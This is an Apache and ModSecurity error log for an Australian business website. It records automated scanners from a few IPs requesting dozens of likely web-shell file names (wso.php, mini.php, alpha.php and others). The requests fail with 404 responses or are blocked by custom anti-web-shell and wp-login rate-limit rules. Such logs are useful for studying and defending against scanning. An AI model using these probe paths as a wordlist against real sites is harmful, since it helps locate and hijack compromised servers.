[Sat Apr 25 22:29:27.660795 2026] [:error] [pid 3212:tid 3220] [client 20.203.160.110:7458] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dfre.php"] [unique_id "aezPx_g-28TY8_YLtUdVFgAAAQY"]
[Sat Apr 25 22:29:28.423620 2026] [:error] [pid 59896:tid 59911] [client 20.203.160.110:41450] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dfre.php"] [unique_id "aezPyLLLzhtkd-OXUgAMLAAAAEs"]
[Sat Apr 25 22:29:30.969629 2026] [:error] [pid 3212:tid 3218] [client 20.203.160.110:7921] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dfre.php"] [unique_id "aezPyvg-28TY8_YLtUdVNAAAAQQ"]
[Sat Apr 25 22:29:32.444405 2026] [:error] [pid 3212:tid 3226] [client 20.203.160.110:17708] File does not exist: /usr/local/apache/htdocs/suspended-page/sko.php
[Sat Apr 25 22:29:32.714865 2026] [:error] [pid 3212:tid 3219] [client 20.203.160.110:17708] File does not exist: /usr/local/apache/htdocs/suspended-page/shorw.php
[Sat Apr 25 22:29:32.983151 2026] [:error] [pid 3212:tid 3232] [client 20.203.160.110:17708] File does not exist: /usr/local/apache/htdocs/suspended-page/shelp.php
[Sat Apr 25 22:29:33.251499 2026] [:error] [pid 3212:tid 3234] [client 20.203.160.110:17708] File does not exist: /usr/local/apache/htdocs/suspended-page/seyv.php
[Sat Apr 25 22:29:33.531992 2026] [:error] [pid 3212:tid 3230] [client 20.203.160.110:17708] File does not exist: /usr/local/apache/htdocs/suspended-page/sad821.php
[Sat Apr 25 22:29:33.802287 2026] [:error] [pid 3212:tid 3227] [client 20.203.160.110:17708] File does not exist: /usr/local/apache/htdocs/suspended-page/sad8210.php
[Sat Apr 25 22:29:34.094987 2026] [:error] [pid 3212:tid 3217] [client 20.203.160.110:17708] File does not exist: /usr/local/apache/htdocs/suspended-page/sad8rd1.php
[Sat Apr 25 22:29:34.363624 2026] [:error] [pid 3212:tid 3218] [client 20.203.160.110:17708] File does not exist: /usr/local/apache/htdocs/suspended-page/saxzgf5.php
[Sat Apr 25 22:29:34.640363 2026] [:error] [pid 3212:tid 3223] [client 20.203.160.110:17708] File does not exist: /usr/local/apache/htdocs/suspended-page/saxzw9t.php
[Sat Apr 25 22:29:34.909118 2026] [:error] [pid 3212:tid 3238] [client 20.203.160.110:17708] File does not exist: /usr/local/apache/htdocs/suspended-page/sder5252u.php
[Sat Apr 25 22:29:35.177666 2026] [:error] [pid 3212:tid 3237] [client 20.203.160.110:17708] File does not exist: /usr/local/apache/htdocs/suspended-page/sderty5u.php
[Sat Apr 25 22:29:35.443295 2026] [:error] [pid 3212:tid 3219] [client 20.203.160.110:17708] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hilk.php"] [unique_id "aezPz_g-28TY8_YLtUdVTAAAAQU"]
[Sat Apr 25 22:29:38.204903 2026] [:error] [pid 59896:tid 59917] [client 20.203.160.110:7895] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hilk.php"] [unique_id "aezP0rLLzhtkd-OXUgAMQgAAAFE"]
[Sat Apr 25 22:29:40.362185 2026] [:error] [pid 59897:tid 59942] [client 20.203.160.110:43907] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hilk.php"] [unique_id "aezP1PBrrkdzpEbmK4eTWwAAAI8"]
[Sat Apr 25 22:29:41.237625 2026] [:error] [pid 59897:tid 59931] [client 20.203.160.110:15483] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hilk.php"] [unique_id "aezP1fBrrkdzpEbmK4eTXgAAAIQ"]
[Sat Apr 25 22:29:42.280051 2026] [:error] [pid 59896:tid 59901] [client 20.203.160.110:13154] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/miso.php"] [unique_id "aezP1rLLzhtkd-OXUgAMRgAAAEE"]
[Sat Apr 25 22:29:44.167257 2026] [:error] [pid 59896:tid 59922] [client 20.203.160.110:47190] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/miso.php"] [unique_id "aezP2LLLzhtkd-OXUgAMSAAAAFY"]
[Sat Apr 25 22:29:45.315750 2026] [:error] [pid 59897:tid 59929] [client 20.203.160.110:9535] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/miso.php"] [unique_id "aezP2fBrrkdzpEbmK4eTYAAAAII"]
[Sat Apr 25 22:29:47.084876 2026] [:error] [pid 59897:tid 59948] [client 20.203.160.110:7939] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/miso.php"] [unique_id "aezP2_BrrkdzpEbmK4eTYQAAAJU"]
[Sat Apr 25 22:29:49.549045 2026] [:error] [pid 59896:tid 59916] [client 20.203.160.110:13160] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yuzuru1.php"] [unique_id "aezP3bLLzhtkd-OXUgAMUAAAAFA"]
[Sat Apr 25 22:29:50.287600 2026] [:error] [pid 3212:tid 3232] [client 20.203.160.110:10780] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yuzuru1.php"] [unique_id "aezP3vg-28TY8_YLtUdVZwAAARI"]
[Sat Apr 25 22:29:52.069511 2026] [:error] [pid 59896:tid 59905] [client 20.203.160.110:43917] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yuzuru1.php"] [unique_id "aezP4LLLzhtkd-OXUgAMVgAAAEU"]
[Sat Apr 25 22:29:53.978168 2026] [:error] [pid 3212:tid 3236] [client 20.203.160.110:7969] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yuzuru1.php"] [unique_id "aezP4fg-28TY8_YLtUdVagAAARY"]
[Sat Apr 25 22:29:56.629163 2026] [:error] [pid 3212:tid 3218] [client 20.203.160.110:7272] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/checkout.php"] [unique_id "aezP5Pg-28TY8_YLtUdVcwAAAQQ"]
[Sat Apr 25 22:29:57.368320 2026] [:error] [pid 3212:tid 3217] [client 20.203.160.110:48407] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/checkout.php"] [unique_id "aezP5fg-28TY8_YLtUdVdgAAAQM"]
[Sat Apr 25 22:30:01.075852 2026] [:error] [pid 3212:tid 3235] [client 20.203.160.110:17766] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/checkout.php"] [unique_id "aezP6fg-28TY8_YLtUdVgQAAARU"]
[Sat Apr 25 22:30:03.096621 2026] [:error] [pid 3212:tid 3224] [client 20.203.160.110:48388] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/checkout.php"] [unique_id "aezP6_g-28TY8_YLtUdVhgAAAQo"]
[Sat Apr 25 22:30:04.869473 2026] [:error] [pid 59898:tid 59968] [client 20.203.160.110:26351] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fictioner.php"] [unique_id "aezP7B-4vImxb0kbdze3mwAAAM4"]
[Sat Apr 25 22:30:06.287051 2026] [:error] [pid 59896:tid 59917] [client 20.203.160.110:22105] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fictioner.php"] [unique_id "aezP7rLLzhtkd-OXUgAMYgAAAFE"]
[Sat Apr 25 22:30:08.268062 2026] [:error] [pid 59896:tid 59911] [client 20.203.160.110:12690] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fictioner.php"] [unique_id "aezP8LLLzhtkd-OXUgAMagAAAEs"]
[Sat Apr 25 22:30:09.006325 2026] [:error] [pid 59898:tid 59971] [client 20.203.160.110:4040] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fictioner.php"] [unique_id "aezP8R-4vImxb0kbdze3ngAAANE"]
[Sat Apr 25 22:30:09.773556 2026] [:error] [pid 59896:tid 59900] [client 20.203.160.110:26364] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "aezP8bLLzhtkd-OXUgAMbAAAAEA"]
[Sat Apr 25 22:30:11.124412 2026] [:error] [pid 59985:tid 59997] [client 20.203.160.110:15811] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "aezP8wF_zDvEhKvyTH7D9AAAAAo"]
[Sat Apr 25 22:30:16.075037 2026] [:error] [pid 3212:tid 3231] [client 20.203.160.110:45219] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "aezP-Pg-28TY8_YLtUdVjAAAARE"]
[Sat Apr 25 22:30:18.633005 2026] [:error] [pid 3212:tid 3221] [client 20.203.160.110:49755] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "aezP-vg-28TY8_YLtUdVlwAAAQc"]
[Sat Apr 25 22:30:22.451414 2026] [:error] [pid 3212:tid 3217] [client 20.203.160.110:3748] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxa.php"] [unique_id "aezP_vg-28TY8_YLtUdVngAAAQM"]
[Sat Apr 25 22:30:30.424907 2026] [:error] [pid 59897:tid 59936] [client 20.203.160.110:15842] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxa.php"] [unique_id "aezQBvBrrkdzpEbmK4eTigAAAIk"]
[Sat Apr 25 22:30:32.448100 2026] [:error] [pid 59897:tid 59927] [client 20.203.160.110:26344] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxa.php"] [unique_id "aezQCPBrrkdzpEbmK4eTjgAAAIA"]
[Sat Apr 25 22:30:34.217661 2026] [:error] [pid 59896:tid 59901] [client 20.203.160.110:10834] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file6.php"] [unique_id "aezQCrLLzhtkd-OXUgAMhQAAAEE"]
[Sat Apr 25 22:30:37.507447 2026] [:error] [pid 59897:tid 59943] [client 20.203.160.110:3423] File does not exist: /usr/local/apache/htdocs/suspended-page/file6.php
[Sat Apr 25 22:30:37.777247 2026] [:error] [pid 59897:tid 59936] [client 20.203.160.110:3423] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-asyn-upload.php
[Sat Apr 25 22:30:38.048555 2026] [:error] [pid 59897:tid 59941] [client 20.203.160.110:3423] File does not exist: /usr/local/apache/htdocs/suspended-page/redixsx.php
[Sat Apr 25 22:30:38.324410 2026] [:error] [pid 59897:tid 59951] [client 20.203.160.110:3423] File does not exist: /usr/local/apache/htdocs/suspended-page/alpha.php
[Sat Apr 25 22:30:38.596822 2026] [:error] [pid 59897:tid 59944] [client 20.203.160.110:3423] File does not exist: /usr/local/apache/htdocs/suspended-page/bc.php
[Sat Apr 25 22:30:38.875063 2026] [:error] [pid 59897:tid 59950] [client 20.203.160.110:3423] File does not exist: /usr/local/apache/htdocs/suspended-page/67.php
[Sat Apr 25 22:30:39.145081 2026] [:error] [pid 59897:tid 59934] [client 20.203.160.110:3423] File does not exist: /usr/local/apache/htdocs/suspended-page/1mrX.php
[Sat Apr 25 22:30:39.421102 2026] [:error] [pid 59897:tid 59930] [client 20.203.160.110:3423] File does not exist: /usr/local/apache/htdocs/suspended-page/x402.php
[Sat Apr 25 22:30:39.693185 2026] [:error] [pid 59897:tid 59940] [client 20.203.160.110:3423] File does not exist: /usr/local/apache/htdocs/suspended-page/485.php
[Sat Apr 25 22:30:39.976035 2026] [:error] [pid 59897:tid 59932] [client 20.203.160.110:3423] File does not exist: /usr/local/apache/htdocs/suspended-page/drykl.php
[Sat Apr 25 22:30:40.258636 2026] [:error] [pid 59897:tid 59935] [client 20.203.160.110:3423] File does not exist: /usr/local/apache/htdocs/suspended-page/xxx.php
[Sat Apr 25 23:53:03.981044 2026] [:error] [pid 59985:tid 59994] [client 20.104.49.17:13905] File does not exist: /usr/local/apache/htdocs/suspended-page/1.php
[Sat Apr 25 23:53:04.670496 2026] [:error] [pid 59985:tid 59995] [client 20.104.49.17:13905] [client 20.104.49.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.104.49.17, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/wp-login.php"] [unique_id "aezjYAF_zDvEhKvyTH7fdwAAAAg"]
[Sat Apr 25 23:53:04.951120 2026] [:error] [pid 59985:tid 60011] [client 20.104.49.17:13905] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-corn-sample.php
[Sat Apr 25 23:53:05.877178 2026] [:error] [pid 59985:tid 60010] [client 20.104.49.17:13905] File does not exist: /usr/local/apache/htdocs/suspended-page/server.php
[Sat Apr 25 23:53:06.607917 2026] [:error] [pid 59985:tid 60009] [client 20.104.49.17:13905] File does not exist: /usr/local/apache/htdocs/suspended-page/wso.php
[Sat Apr 25 23:53:06.854331 2026] [:error] [pid 59985:tid 59993] [client 20.104.49.17:13905] [client 20.104.49.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "aezjYgF_zDvEhKvyTH7fggAAAAY"]
[Sat Apr 25 23:53:08.050916 2026] [:error] [pid 59985:tid 60003] [client 20.104.49.17:2115] [client 20.104.49.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "aezjZAF_zDvEhKvyTH7fhgAAABA"]
[Sat Apr 25 23:53:09.239727 2026] [:error] [pid 3212:tid 3230] [client 20.104.49.17:33992] [client 20.104.49.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "aezjZfg-28TY8_YLtUeGrQAAARA"]
[Sat Apr 25 23:53:10.208606 2026] [:error] [pid 59897:tid 59940] [client 20.104.49.17:27915] [client 20.104.49.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "aezjZvBrrkdzpEbmK4eppAAAAI0"]
[Sun Apr 26 01:33:29.032009 2026] [:error] [pid 3212:tid 3222] [client 158.158.52.225:18968] File does not exist: /usr/local/apache/htdocs/suspended-page/file0.php
[Sun Apr 26 01:33:29.352115 2026] [:error] [pid 3212:tid 3229] [client 158.158.52.225:18968] File does not exist: /usr/local/apache/htdocs/suspended-page/geforce.php
[Sun Apr 26 01:33:29.616528 2026] [:error] [pid 3212:tid 3237] [client 158.158.52.225:18968] File does not exist: /usr/local/apache/htdocs/suspended-page/t3s.php
[Sun Apr 26 01:33:29.940908 2026] [:error] [pid 3212:tid 3236] [client 158.158.52.225:18968] File does not exist: /usr/local/apache/htdocs/suspended-page/uwu.php
[Sun Apr 26 01:33:30.213058 2026] [:error] [pid 3212:tid 3234] [client 158.158.52.225:18968] File does not exist: /usr/local/apache/htdocs/suspended-page/uwa.php
[Sun Apr 26 01:33:30.602657 2026] [:error] [pid 3212:tid 3217] [client 158.158.52.225:18968] File does not exist: /usr/local/apache/htdocs/suspended-page/crgio.php
[Sun Apr 26 01:33:30.926626 2026] [:error] [pid 3212:tid 3227] [client 158.158.52.225:18968] File does not exist: /usr/local/apache/htdocs/suspended-page/mini.php
[Sun Apr 26 01:33:31.253030 2026] [:error] [pid 3212:tid 3231] [client 158.158.52.225:18968] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-load.php
[Sun Apr 26 01:33:31.516025 2026] [:error] [pid 3212:tid 3216] [client 158.158.52.225:18968] File does not exist: /usr/local/apache/htdocs/suspended-page/77.php
[Sun Apr 26 01:33:31.830027 2026] [:error] [pid 3212:tid 3223] [client 158.158.52.225:18968] File does not exist: /usr/local/apache/htdocs/suspended-page/.sghb.php
[Sun Apr 26 01:33:32.126367 2026] [:error] [pid 3212:tid 3214] [client 158.158.52.225:18968] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zoko.php"] [unique_id "aez67Pg-28TY8_YLtUe9FAAAAQA"]
[Sun Apr 26 01:33:34.034498 2026] [:error] [pid 59985:tid 60010] [client 158.158.52.225:48431] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zoko.php"] [unique_id "aez67gF_zDvEhKvyTH7-wwAAABc"]
[Sun Apr 26 01:33:35.222612 2026] [:error] [pid 3212:tid 3227] [client 158.158.52.225:3852] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zoko.php"] [unique_id "aez67_g-28TY8_YLtUe9GAAAAQ0"]
[Sun Apr 26 01:33:38.061250 2026] [:error] [pid 59896:tid 59910] [client 158.158.52.225:3851] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zoko.php"] [unique_id "aez68rLLzhtkd-OXUgBVWAAAAEo"]
[Sun Apr 26 01:33:40.468181 2026] [:error] [pid 59896:tid 59917] [client 158.158.52.225:18967] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/solo1.php"] [unique_id "aez69LLLzhtkd-OXUgBVXAAAAFE"]
[Sun Apr 26 01:33:41.581551 2026] [:error] [pid 3212:tid 3232] [client 158.158.52.225:13197] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/solo1.php"] [unique_id "aez69fg-28TY8_YLtUe9JAAAARI"]
[Sun Apr 26 01:33:54.663793 2026] [:error] [pid 59985:tid 59993] [client 158.158.52.225:25527] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/locales.php"] [unique_id "aez7AgF_zDvEhKvyTH7-4QAAAAY"]
[Sun Apr 26 01:33:56.887088 2026] [:error] [pid 59985:tid 59988] [client 158.158.52.225:29224] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/locales.php"] [unique_id "aez7BAF_zDvEhKvyTH7-5QAAAAE"]
